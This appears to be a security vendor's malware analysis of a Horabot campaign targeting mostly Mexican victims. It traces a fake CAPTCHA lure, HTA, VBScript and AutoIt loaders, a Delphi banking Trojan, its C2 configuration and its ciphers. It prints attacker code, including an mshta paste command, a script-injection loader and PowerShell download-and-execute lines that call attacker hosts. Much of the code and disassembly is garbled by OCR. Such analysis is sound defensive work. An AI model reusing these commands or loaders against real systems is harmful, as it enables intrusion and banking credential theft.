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Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our
MDR team identified and hunted down a few months ago. It involves a threat known as Horabot,
a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex
attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to
highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments.

The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case
progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint

Security intervened, terminated the malicious process (via a proactive defense module (PDM))

and removed the related files before the threat could progress any further.
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The incident was then brought up for discussion at one of our weekly meetings. That was enough
to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this
campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed

to map out the end-to-end kill chain. In this section, we will break down each stage and explain
how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a
standard fake CAPTCHA page. In the incident mentioned above, this page was located at the
URL https://evs.grupotuis[.]buzz/0Ocapcha17/ (details about its content can be found here).
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Para confirmar que no eres un robot, marca la opcion
abajo:

No soy un robot

Ahora, sigue los pasos abaijo:

Presiona y mantén las .
teclas I
Ctrl Vv
2. Fresionn[ H I

r y

-0 Enies para finalizar.

3. Presiona

v

Fake CAPTCHA page at the URL https://evs.grupotuis[.]Jouzz/0Ocapcha17/

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog,
paste a malicious command into it and then run it. Once deceived, the victim pastes a command
similar to the one below:

1 mshta https://evs.grupotuis|.]buzz/0Ocapcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:
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It is essentially a small loader. When executed, it opens a blank window, then immediately pulls
and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a
large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source
to an external VBScript hosted on another attacker-controlled domain, and injects it into the
<head> section of a page hardcoded in the HTA. You can see the full content of the page in the
box below. Once appended, the external VBScript is immediately fetched and executed,
advancing the attack to its next stage.

1 var scriptEle = document.createElement("script");

2 scriptEle.setAttribute("src", "https://pdj.gruposhac].]lat/g1/1d1/");

3 scriptEle.setAttribute("type", "text/vbscript");

4 document.getElementsByTagName(‘head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we
observed the use of server-side polymorphism because each access to the same resource
returned a slightly different version of the code while preserving the same functionality.
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The script is obfuscated and employs a custom string encoding routine. Below is a more readable
version with its strings decoded and replaced using a small Python script that replicates the
decode_str () routine.
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» str{encoded_str)

Dim obj_file system, obj_create txt_file, obj_shell create_file, page html, obj_shell command

obj_shell create_file Createdbject("WScript.Shell”).ExpandEnvironmentStrings({“"XTEMP") & "\" & "Enomup.hta™

page_html = “<f

" & vberLf & _

pd]j.gruposhac.lat/gl/auxldl’ »</script>” & vbCrLf &

Set obj_file system = CreateObject("Scripting.FileSystemObject™)

Set obj_create_txt_file = obj_file system.CreateTextFile(obj_shell create file, 1
obj_create_txt_file.Write page_html
obj_create txt file.Close

obj_shell command = CreateObject("wWscript.shell™)

shell command.Run "explorer.exe” & obj_shell create file, 1,

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript
loader that injects and executes another polymorphic VBScript.

1 var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac].]lat/g1/");

scriptEle.setAttribute("type", "text/vbscript");

~ w N

document.getElementsByTagName(‘head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It
acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

» Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.

o Custom string decoder: employs the same decoding routine found in the first VBScript to
reconstruct strings at runtime.

o Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific
Avast folder or VM artifacts are detected.
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» Information gathering and exfiltration: collects the host IP, hostname, username, and OS
version, then sends this data to a C2 server.

o Download of additional components: retrieves an Autolt executable, its compiler
(Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path
C:\Users\Public\LAPTOP-0QFONEUP4.

o PowerShell command execution: executes PowerShell commands that reach out to two
different URLs (one unavailable and the other leading to the first stager of the spreader,
which we describe later in this article).

o Persistence setup: creates a LNK file and drops it into the Startup folder to maintain
persistence.

e Cleanup routines: removes temporary files and terminates selected processes.

Function dePkElyltMvyt] 11{degTPléEcIuleFk_12)
Dim detprw34labRDrcwg XpSpstgeZP 14, deviSkoFpQ&47m 15, devEadBNd] 16, delkiDdeYjq20aballRml 17, deesd95SwSplCItoC 18, delNFystAue? jRGnGx 19
detprw34labRDrcwg 13 = 92
devbaSBNd] 16 = "~

gTPladcTulefk_12, 1, 1)
' 14 4 detprw34IabROrcwg 13
TPlescIulefk 12, 2)

1XFystAue7 jRGAGK_19)
Next
dePkElyltMyyt]_11 = dewba9BMdj_16
End Function

JIVIOGHHGIQITIMHT IHIBIC IMIUMP T I IRIMIKIC™) )
_21 = dePkElylt 4 GUIXICIVIVFMHNIQIHIVIYICITIG™)
TITouwlld 28. {

24, desusiezM]rmes 25, de A B 7, desilSbOr_28
RFESH_38, deQHodal s

decuRRhgya2
dePkE]

TIEITIAFKIOIRFKHKGUGE™ ), _
QFEYFQFV™), _
CFVFWGF FOF YFROHGAGD GHGOGOFGFEHE LA TNGHFOFRGE FUFNFRFUFWF Y™ :| s _

AHDHAF RF PFPFUGYFR
MHCFTHOF THKF TETGHET
{ “MGTFLHGF LHCFLFLFYFL )
("EHIIBIGHVIHIPILFDHHIE ")
dePkELyltMyyt]_11( QHTHOGIGGGGGLFPLT IWFPHTHNHAGI GHGGGK™) , _

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified

where the collected data was being sent. After probing the associated URL and removing the
“salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their

victims.
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As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May
2025 (this screenshot was taken in September 2025). In the “Localiza¢ao” (location) column, the
adversary even included the victims’ geographic coordinates, which are redacted in the
screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico,
representing roughly 93% of the total.

Stage 3: The evil combination of AutolT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three
AutolT components were dropped on disk: the executable (AutolT3), the compiler (Aut2Exe), and
the script (au3), along with an encrypted blob file. Since we have access to the Autolt script code,
we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so
let’s focus only on what really matters.
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The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key
derived from the seed value 99521487), loading it directly into memory, and then calling the

exported function B0so723_N. The decrypted blob is a DLL.

; Maini)

Global $fgBassDir = @5criptDirc
Local fgKeySesdString = "™ha521487"
Local 4$gEncryptilg = FCALG ARES 132

; Locate encrypted blobk (*.ia) alongside script
Local $fblobFath = FindEncryptedBlob{(fgBas=Dir)
If WMot $blobFath Then Exit

7 Bead blob
Local $hBlob = FileOpen(fblobPath, lc)
If $#hBlok = -1 Then Exit

Local $fbloblata = FileBRead (FhBlob)
FileClose ($hBlob)

; Init Crypto provider
Crypto_InitProvider()

;7 Decrypt (key derived from Seed: "55521487" and RBRES-1%2 algorithm)
Local fdecrypted = Crypto Decrypt{sblcblata, fgKeySieedSftring,
HIf @error Or Mot IsBinary{fdescrypted) Or BinaryLen (fdecrypted)

EndIf

; Map decrypted PE into memory (MemoryDLL)
Local fhiMappsdFE = LoadModuleFromMemory {$dscrypted)
HIf Mot $hMapp=dFfE Then

EndIf

;i Call exported entry "BO207Z23 N" (no args and returns int}
Local fexportName = "BO20723_H"

Local $FcallResult = MemDl1l CallExport (FiMappedFPE, "int", $exportName)

HIf @error Then

EndIf

;7 Freeing memory
FreeModule (fhMappsdFE)
Crypto_ReleaseProvider ()

; Find blob function
—|Func FindEncryptedBlob (fdir)

Local #h = FileFindFirstFile({$dir & " *_ia"}
If #i = -1 Then Return "
Local $fnams = FileFindiextFile (§h)
FileClose (Fh)
If #fnams = "" Then Return ""
Beturn #fdir & """ & $fnams

EndFunc

We also managed to replicate the decryption logic with a Python script and manually extract the
DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BASED). After initial triage and basic sandbox

execution, we observed the following:
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The sample is a well-known Delphi banking Trojan detected by several engines under
different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project,
an open-source client/server communications library used to establish client/server HTTPS
C2 communication.

It includes SQL commands used to harvest credentials from browsers.

mE¥rererreeee; §

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL Description
https://cgf.facturastbs[.]shop/0725/a/home (GET) A page containing an encrypted
configuration

https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG A URL for posting host information, but

(POST) in our lab tests the value was empty.

Request content example:

Host: *
https://aufal.filevexcasv[.]buzz/on7/index15.php A URL used to post victim information
(POST) Request content example:
https://aufal.filevexcasv[.]buzz/on7all/index15.php AT: * Microsoft Windows 10 Pro FLARE-
(POST) VM (64)bit REMFLARE-VM’

MD: 040825VS

https://cgf.facturastbs[.]shop/a/08/150822/au/at.html ~ HTML lure page designed to trick the
user into accessing a malicious link
whose contents are also used as a PDF
attachment during the email distribution
phase.
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https://upstar.pics/a/08/150822/up/up (GET)

The resource was already unavailable
at the time our testing was conducted.

https://cgf.midasx.site/a/08/150822/au/au (GET)

The page containing the first stage
leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won'’t
reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly
observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which
is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each
byte of output here depends on both the key and the previous byte. In our sample, the key is the

string "OxFFOwx8066h".

Stext

TRRABERIA

-text :0AABEEIF

Stext

:BRABEBAY

-text :BRABEBAT

Stext

tBRABEBALC

Stext:BOABERAF

bext
Jtext
text
Stext
-text

text:
STEat:
Stext:
et
Sbext:
et
Stext:
Sbext:
text:
et
Stent:

We can easily reimplement the logic of the routine in Python and integrate the following snippet
into our workflow to automate string decryption:

: BAABEEBA
1 @RABERBT
:@RABEEBC
1BRABEBC1
1 BRABSECA

push
lea
moy
call
push
push
lea
moy
call
push
push
lea
Lo
call
push
push
lea
moy
call
lea
oy

call

offset adx_1 ;
edx, [ebpivar_24]

eax, offset asc_aBeD3e ;

Trim

[ebp+var_24]
offset aFf@

edx; [ebpivar_28)

eax, offset asc_AS6D3@ ;

Trim

[ebp+var_28]
offset akix

edx, [ebpévar_2(]
eax, 586
IntToStr
[ebp4var_2C]
offset agh

eax; [ebpivar_8)
edx, 7

ustrlath

edx, [ebpivar_l8]
eax; [ebptvar_8)
Trim

key = "OxFFOwx8066h"

text:BBABGLEE
Ltext :BRABSCTO
text:dBABGLT 3
Lot BBABSCTE
JLext:BBABGLTE
text 1 BBABSCTI
Joext: B0ABSLTE ;
text : BBABGLCTB
text: dBABELTE
.text:BBABSLTE
ext: BOABGCES
et : DBABGCER
text: RABSCES
Ltext:BBABGLES
Jbext: DOABECES
et : DBABGCER
et OABSCEE
Ltext: BEABSLDE
Jext: DRABECHE
text: BOABGL99
JLext DBABECHE
LExt: BAB6C9B
Joext: DBABECHE
text: BOAEGL9E
JLext : DBABSCOE
et PBABGL9E
et 1 BBABSCOE
Jtext:BBABGLAL
Jbext : BBABECAS
Jtext: dBAEGLAS
. text : BBABSCABR
Jtext: BOABGCAE
text 1 BBABSCE3
text: @BARGCESG
text : BBABGCEY
.text: BBABECBC
.text: BAABSCEF
text: BBABGLCS
text : BBABGLCH

Key construction (left) and decryption logic (right)

loc_ABGBCTE:

loc_ABGCBO:

loc_ABGCSB:

loc_ABBLOE:

call
mov
cmp
jge
inc
j=p

mov
MOV IX
xor
cup
iE
add
sub
j=p

sub

lea
mov
call
mowv
lea
call
mowv
mov
add
mov
call
c=p

jl

StrTolnt
[ebpinext_key], eax
edi, [ebptkeyLength]
short loc_ABGCTB
edi

short loc_ABECS0

eax, [ebp+var_1@]

ebx, word ptr [eax+edi*2-2]

ebx, [ebp+next key]
ebx, [ebptcurrent_key]
shert loc_ABECHE

ehbx, BFFh

ebx, [ebp+current_key]
short loc_ABGCIE

ebx, [ebptcurrent_key]

eax, [ebptvar_48]
edx, ebx
UstrFroskiChar

edx, [ebptvar_aa]
eax, [ebptvar_C]
ustriat

cax, [ebptnext_key)
[ebptcurrent_key], eax
esi, 2

eax, [ebp+var_4]
Ustrien

esi, eax

loc_aBSCAS
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1 def decrypt_string(encrypted_hex):

2

3 key_string = "OxFFOwx8066h"

4

5 key_index =0

6 LLLL

7 result =

8

9

1? current_key = int(encrypted_hex[0:2], 16)
12

13

15

16 while i < len(encrypted_hex):

17

18 next_key = int(encrypted_hex][i:i+2], 16)
19

20 if key_index >= len(key_string):

21

22 key_index =0

23 . :

24 key_char = ord(key_string[key_index])
2(53 xored_value = next_key * key_char

if xored_value > current_key:
decrypted_char = xored_value - current_key
else:

decrypted_char = (xored_value + OxFF) - current_key

result += chr(decrypted_char)
current_key = next_key
key_index += 1

| +=2

return result

Python implementation of the decryption routine
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The encrypted strings are retrieved in three different ways: through indexed lookups using a global
encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to
encrypted hex strings in the data section; through indirect references using pointer variables,

adding an overhead when automating decryption with scripts.

« et BARSE 130
e BAASE LE
Lew AN LAE
e RS LAY

L ExE SBRASEADS
L tewt BRASEANA
- text :BBASEADF
TENT IBBASEAED
ek 1BBASELES
JtEXt I BRASEALD

o text BASES]D
L text o BRANEELC
L tawt dBRAGEERL
. TEXT IBBASERDD
«text 1BEASESIS
JTEXTIBEASERZA
+ ek 1BRASERZF
ek BBASENI2
Jtextiasinil
ek BRASERIE
L Exk JBRANERZR
L tewh  BRAGEERE]
LTENT IBRASESA]
. text 1BEASERLE
+ texk 1BBASERLR
tExt I BgASERaD
ek BRASENSS

Lea

call

edw, [ebptvar_1E]

eax, offset adisbBdafdzxisac | (olUsers'Publiciid
HDR_decrypt_sub_g8siSBod

eax, [ebprvar_1E]

Direct pointer (left), indirect pointer (right)

wix, d5:Ede314TE467_UMT_640454_TTdSSLI0Hand e roacke tOpanSsL

1dr31486776_TIdBaseComponent_Create
[ebpevar_C], eax
dl, 1

eax, dsiTStringlist
TstringList_Create

idr31401145_TIJHTT? GetRequest
#ax, @adh

wax
edx, [ebpeuvar_14]
eax, 3IFCh 3 Mozilla/5.@ (Windows NT 18.8; Winsd; wsd)

getDecryptedstringsList_sub_sesssoae
edx, [ebptwar_14]

eax

UStrazg

eax, [ebptvar ]

sax, [eaxsllh]

dl, 5
1dr31479558_TIdsSLOptions_SetHethod
ecx, [ebprear_4]

edw, edi

eax; [ebptwar B

idr¥1458354_TIdCus bomiTTR_Oet

Indexed strings via TStringList lookups

St RRARRIAT
bk zRRARRISD
SRt RRARRT S
cheuk AT R
et ARSI S0
et s RRAART
et BRAAAIES
SEENT RRAART G
St s BRLAA2ED
SEENT ERRAAAT TR
cheut s ARSI TS
et s BALAAITE
cheNi ARSI TR

o
les
wow

el

les
mow

cell

wov
les

call

call

nnnnnn F_DESCHC ; httpe:/fogf  Facturastbe , shep 8735/ s/ hone
it

s, 1
#08_d sub_RAAEG DG
oo, [ r_54

#cw, [ebpivar_14]

edw, 1

eaw, [ebptvar_14]
1drd71538__USTrLdsg

Ltext | BBASEDER getDecrypredStringsList_sub_BOASSDRE proc naEar
wi Ass0ae

= dword ptr -8

= gword ptr -2

push  ebp

woy ebp, esp

call ustrile

moy dl, 1

oy ean, dsiTStringlist

call TStringlist Creste

oy [ehp+var_4], max ; TStringlist

%o eax, eax

push  ebp

push effaet loc ARASTC

push dword ptr for[eax]

way fs:[eax], esp

vy edu, offset afedSE3feTefuln

L eax, [ebpsvar_4] ; Tstringlist

woy ecx, [eax]

call  dword ptr [ecwedCh] ; Tseringlist,add
moy wdx, offiet aSéfaleldidenfc = Ei
i wax, [#bpevar_4] ; TStringList

call  dword pie [esiedCh] ; TSeringlist,Get
@iy wax, [ebpevar_8]

foy edx, ebx

call  ¥OR_decrypt_sub_8BAREESd

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded,
encrypted C2 server. The server responds with a configuration, which is a raw HTTP response,
consisting of several values, each individually encrypted with the aforementioned algorithm. The
sample extracts specific parameters based on their position in the list.
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16T CCHBBATEESLRBTETATE30150ABAZOABFFGLE - 64,177,680, 44720575

S5EDTAABSFEZGAELZOBBIFALAT25EBI4300F G2AAZ2GOESGCHI1603TAALZ42C230413410061A2AF 0BLAB2EE - https://bme.mnfgrupo. store/on?/indexls . php

ASIECATOAF133A11 TBEASEDBOG34DART28AASTBF LT T5DEGSBCIF FCOASFIEGZ1BBF 1CTDDAS TABASATIEAID6OEAERE - https://bax.mnfgrupo. storefonfalls
index15.php

FES4BB630530644B4205CABTS0FI2006A0B252CHETAB0BIDAFB263DA4342047COAFCLATODAIBAETBER2BFBOOGESCFDS IAEEDZFDBOGSBAAAAZIBBIABFDALIZT2E -
https://cgf.facturastbs.shop/a/08/158822/ au/ logs/ index . php?CHLG

CA18182129 =» UPON

EAGSBBE20TETETO43565BB1CE0518633030E041F ABFBSCF TRA020120C418F 32502 11B3EATIES2DEZ1TBISACO0A4DF TECADZCERS23FOTTEOTI00IFBLD24AB6505TBOD2AEC
G4FEAAFBITOABRE2ATCARAODFA16TRACASEABIDDEEER IO TEDE 360033 TERBREEACFCIAFISIB6CET4R42AEEIDADAZCDIBEIRBIOAETTATACG2RDCROCEGED2E - echo 18x

(nmew-object net . webclient).downloadstring( 'https://tt.grupobedfs.com/a/88/158822/up/up') | powershell. exe -nop -win 1 -

BEDS41EF10098512B2E2 ADODERD2TAAL42OCTSABZDTDDDTSB19FE6F G 2B2 26ESATA423A1FCA3RTTFRALOFS] 20RSTFASSFDEFADCCEZ OFIBDE2BAB2A6AA1BE1DEGSERICEACCY
BCEEFSECEALIE3ADIBTA40410T454FA1C2S6AEZSDCOCEADO6345362C18P90C1ATE2R254BB0R4084C14207 TCAESAIADFIDESAZZTADTOASAEGABFCDOAB3ER2S -+ echo iex
(new-abject net.webclient).downloadstring('https:s//ti.grupobedfs. com/a 88/ 158822 /aus/au') | powershell.exe -nop -win 1 -

93E442DBGGEEEDTCFIBAGE -+ AUTOPDFOFF

144CB86B90212C236AFDE3BFD5EC153EFASABBG5ERGEF153E06DADSBEDACOABI092267 AESBAEBBABDBFAZBDBI0A120TEEACCAZERE - hotps: /fcgf.facturastbs . shops
a/B8/ 1560822 /au/at . html

ADB5B1BIG2ERS TFE1GA9B60AG1F T21C2TID63EET63ET TCOOGOEI34ES100F B TAEAGAEABLAL T T TOTACIBETCFID54FOLEBE0GFE2TD3TED34DCEOISEBALTLIVET - https://
cgf.facturasths. shop/a/88/168822/au/ logs/indefile. php

1C60BAMODELS20BDEABDEABTZE = AUTOFILESOFF
GFE2CO5EESOELS1258ADCF291F - CONEXTUNELON

BEDA T — = = e = e — = — T = T = | e - Tl -
209.74.83.83 root [ -g1E i 0 b MG 2202264177 .680.44;20575;127.8.8.1

Decrypted configuration values (root password redacted)

To improve readability, the above screenshot has been edited to include the decrypted
parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first
configuration value, the C2 socket connection setting (host; port), is extracted.
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Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
LText:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:
Ldext:

BaAD2CAE
@aaD2CBl
@aaD2CBl
@aAD2CEe
@aAD2CEBE
@aAD2CBE
eaaD2CCl
@aAD2CCa
aaAD2CCE
BaAD2CCE
@aaD2Chl
@aAD2CDe
@aaD2CDa
@aAD2CDC
@aAD2CEL
aaAD2CES
aaAD2CES
@aAD2CEE
@aAD2CFl
@aAD2CFa
@aAD2CFa
BaAD2CFE
aaAD2Daa
@aAD2Des
aaAD20es
aaAD2Das
aaAD2Da
aaaD2012
@aaD2D17
@aAD2DlA
@aAD2D1F
aaaD2022
@aaD2D27
aaaD2029
@aAD2D2A
@aAD2D2F
@aaD2032

lea
Mo

call
mow
lea
mow
call
lea
mow
call
mow
lea
call
lea
mow
call
mow
mow
mow
call
test
jle
lea
push
lea
mow
call
mow
mow
mow
call
mow
dec
mow
mow
call

edx, [ebpt+var_18]
eax, idr33345538@ JOD532E@LVBABICACLIIS4ARGDCTYSACSGECI 20340
3 https://cgf.facturastbs.shop/8725/a/home
XOR_decrypt_sub_BeA36ER4
eax, [ebpt+var_18]
ecx, [ebptvar_4]
edw, 1
get_conf_entry_from_C2_sub_BBACFFF3
edx, [ebptvar_14]
eax, [ebpt+var_4]
XOR_decrypt_sub_BeA36ER4
edx, [ebptvar_14]
eax, [ebptvar_4]
idr471598_ UstrlAsg
edx, [ebpt+var_18]
eax, 22Ch ]
getDecryptedStringslist_sub_@eaAssD3e
eax, [ebptvar_18]
ecx, 1
edx, [ebptvar_4]
idr472122 Pos @
eax, eax
loc_AD2DEG
eax, [ebptvar_g]
eax
edx, [ebpt+var_1C]
eax, 22Ch ]
getDecryptedStringslist_sub_@eaAssD3e
eax, [ebpt+var_1C]
ecx, 1
edx, [ebptvar_4]
idr472122 Pos @
eCx, eax
eCK
edw, 1
eax, [ebptvar_4]
UstrCopy
C2 socket address extraction

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket

connection is then established.
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vV ¥

Ra® @a®E
loc_ADID43: loc_AD2DBE:

80 45 Fa lea eax, [ebptvar_C] 80 55 D4 lea edx, [ebptvar_2C]
58 push Bax Al 34 77 B3 oR W eaxn, 1dr33g45524_ 4DB192BIFLIB_ ; 49569
8D 55 E@ lea edx, [ebprvar_28] E8 A1 3D FB FF call  XOR_decrypt_sub_BBABSEES
B8 X 82 &2 28 mov eax; 22Ch ] aB 45 Da mow eax; [ebp+var 2C]
EB IC 48 FB FF call grtbecryptedStringslist_sub_e@sssDes| |E2 31 F9 94 FF call Strielnt
BB 45 E mov eax, [ebptvar_28] 86 D@ mow edu, eax
B2 &1 08 & 08 mov ecx, 1 Al CB OF B9 o maw eax; ds:idword_Bo9FCE
88 55 FC mnov edx, [ebptvar_3] EB B2 CE @3 P @a mow eax, [eaw+3CEh]
Ed EG 81 93 FF call idr472122_Pos @ E8 A3 7B D@ FF call idr3139s642_TClientSocket _SetPort
BB D& nov edx, eax 80 55 D@ lea edu, [ebp+var 38]
a2 inc edx A1 3@ 77 BA BB mow eaw, idr33845521  S8EANSDABEJADEIESSFTSEEERE_ ; lifenews.pro
B8 CB noy ecx, ebx €8 7A 3D FB FF call XOA_decrypt_sub_BRABSEES
BB 45 FC mav eax, [ebp+var_d] BB 55 D@ mow edu, [ebp+var_3@]
E& CB 7F 93 FF call ustriopy Al 8 OF B9 o8 mow eax; ds:dword_Bo9FCE
80 55 DC lea edx, [ebptvar_i4] 2B B2 CE @3 P @a mow eax, [eaw+3CEh]
BB 45 F4 nov eax, [ebpivar C] E8 83 7B B8 FF call fdr31398627_TClientSocket SetHost
E8 98 EC 94 FF call Trim
88 45 DC mov eax; [ebptvar_24]
E8 78 F9 94 FF call StrTolnt
86 D& mov edx, eax
Al CB oF B9 0e mov eax, ds:dword_B98FCE
58 B8 C3 @3 08 @e mov eax, [eax+3CBh]
E8 EA 7B B8 FF call idr31398642_TClientSacket_SetPort
B0 55 D& lea edx, [ebp+var_28]
88 45 FB mov eax; [ebptvar 8]
E8 73 EC 94 FF call Trim
BB 55 D& mow edw, [ebpivar_23]
Al CB oF B9 0e mov eax, ds:dword_B98FCE
58 B0 C5 @3 o0 oa mo eax, [eax+3CEh]
E8 4C 7B B8 FF call 1dr31398627_TClientSacket_SetHost
EB 47 jmp short loc_ADZDFD

|

(A1
Fallback to hardcoded socket address (lifenews[.]pro:49569)

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in
the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that
triggers execution, and parameter 6 contains the PowerShell commands that are run when this
string is used. Below is the portion of the routine that takes care of parsing this command:

text:
JEExt:
SText:
text:
Shext:
Stext:
SText:
Lhext:
Sdext:
Jtext:
SText:
hext:
Stext:
Jtewt:
text:
hext:
Shext:
~text:
ext:
hext:
text:
~text:
bext:
Shext:
Jtewt:
~bext:
text:
Shext:
Stext:
bext:
hext:
JEEnk:
Stext:
«bext:
text:
SrExt:

BRADZIES
BRADZIEA
BAAD29EF
BAADZIF2
BRADZIFS
BRADZIFA
BAAD29FD
BOADZABE
BRADZABS
BRADZABE
BAAD2ZABD
BOADZAL2
BRADZALS
BRADZALE
BOADZALD
BAADZALF
BAADZAZZ
BRADZAZ2
BOAD2ZAZT
BAAD2ZA2C
BAADZAZF

mov edx, 5

call get_conf_entry from_C2_sub_BBACFFFB
lea edx, [ebptvar_1C]

mov eax, [ebptvar_4]

call XOR_decrypt_sub_B8ABGEE4

maw edx, [ebptvar_1C)

lea eax; [ebptvar_4]

call idr471588_ UStriLAsg
lea edx, [ebptvar_20]

mow eax, 47eh : UPOH
call getDecryptedStringsList_sub_8@A36DER

mov edx, [ebptvar_20]

mov eax, [ebptver_4]

call idra72@65_ UStrEqual

jnz short loc_AD2A92

lea edx, [ebptvar_24]

mow eax, idr33845538_ 7D0532E@LTBAS3CACLIS4AREDCTIACSEBCI2D34DFESDEICASR34E41 204C38403C0335483DAT7I0LLEFS_ ;

3 https:/fegf.facturasths. shop/@725/a/home
call XO0R_decrypt_sub_@88ABGEE4

mov eax, [ebpivar_24]

les ecx, [ebp+var_4]

mav edx, 6

call get_conf_entry_from €2 _sub @BACFFFE
lea edx, [ebptvar_28]

mav eax, [ebp+var_4]

call XO0R_decrypt_sub_8BABSEES

mow edx, [ebptvar_28]

lea eax, [ebptvar_4]

call 1dr471598_ UStrLAsg

push a 3 nShowCmd

push ] ; lpbirectory
mav eax, [ebptver_a]

call 1dra471943_ UStrToPWChar

push eax i lpParameters
lea edx, [ebptvar_2C]

mov eax, 470k ; powershell.exe

Extracting value 5 and 6 from the configuration

In addition to HTTP communication, the malware supports raw socket communication using a
custom protocol that encapsulates commands into tags such as <|SIMPLE TAG|> or
<|TAG|>Argl<|>Arg2<<|>.
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The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the
operator’s server and sends the "PRINCIPAL" command to request a control channel. After
receiving an OK response, it follows up with an "Info" message containing system details. Once
validated, the server replies with a "SocketMain" message containing a session ID, completing
the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator
routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote
Access PC project, as our colleagues at ESET have noted in the past. Below is a visual
comparison:

Conectar.pas

Cbmpérison of “P-ING”- an_d “Close” commands (sample disassembly on the left, Delphi Remote Access
source code on the right)

Some features from the open-source project, including the chat and file manipulation commands,
have been removed, while some mouse-related commands have been renamed with playful
prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis
obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol
now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling
down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text
as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the
analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing
development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic
exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with
embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption)
and sub_00A9F5CO (decryption):
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The encryption routine generates three random four-digit integer keys. The first key acts as the
initial cipher state, while the other two serve as the multiplier and increment that are applied at
every encryption stage to both the state and the data. For each character in the input string, it
takes the high byte of the current state, XORs it with the character to encrypt, and then updates
the cipher state for the next character. The output is created by prepending the three keys to the

Ltext D BOATF 386
< text : BAAOF 308
Jewt BBASFILG
Jtext iBGAOFILS
Ltewt 1 B0ASFIL0
Stext iBEASFILD
Jext i BOADFIZ2
Stext iBOAGF 327
Ltext 1BOASFIZC
Jtext i BOASFI38
Ltext i BAADFI34
LLexT I BBARFI39
<text :BAAOFISE
Jtewt 1 BBASFI43
EERT I BEADFIAT
Ltext i BOASF 348
«text :BOAOF 34F
Jewt i BBASFI52
LLEeXT I BEARF3IST
Ltewt i BeAnFI5A
«text iBaRIF 350
Jtent i BOASFISE
LTEeXT I B8ASF 361
Ltext 1 BOASFIGEI
text BOASF 363
Ltext iBBAIFIEI
LJLext I BASF 365
<text 1BOADF 36T
Jtext i BOASF 36D

loc_ASF363:

L text  BeAaF3ITS

idr470488 Randomize
eax, B399
idr478414_Random
ax, lpee
[ebp+random_17], ax
idr478485_Randomize
cax, 8999

idr478414 Random
ax, 3E8h
[ebptrandom_2], ax
idr478488 Randomize
eax, 9999

idr478414 Random
ax, 1loaa
[ebp+random_3], ax
esi, [ebp+random 1]
eax; [ebptvar_3]
UStrclr

eax, [ebptvar_4]
Tcax, max

short loc_A9F363
cax, 4

eax, [eax]

edi, esax

edi, edi
loc_AoF482
[ebpévar_18], 1

SrENt:
tent:
Stext:
hext:
Stext:
Skext:
Stext:
Stext:
Stext:
text:
Stext:
Jhext:
Stext:
Jtext:
hext:
Stext:
text
Stext:
Stext:
text:
hext:
Stext:
Stext:
text:
text:
text:
Stext:
text:
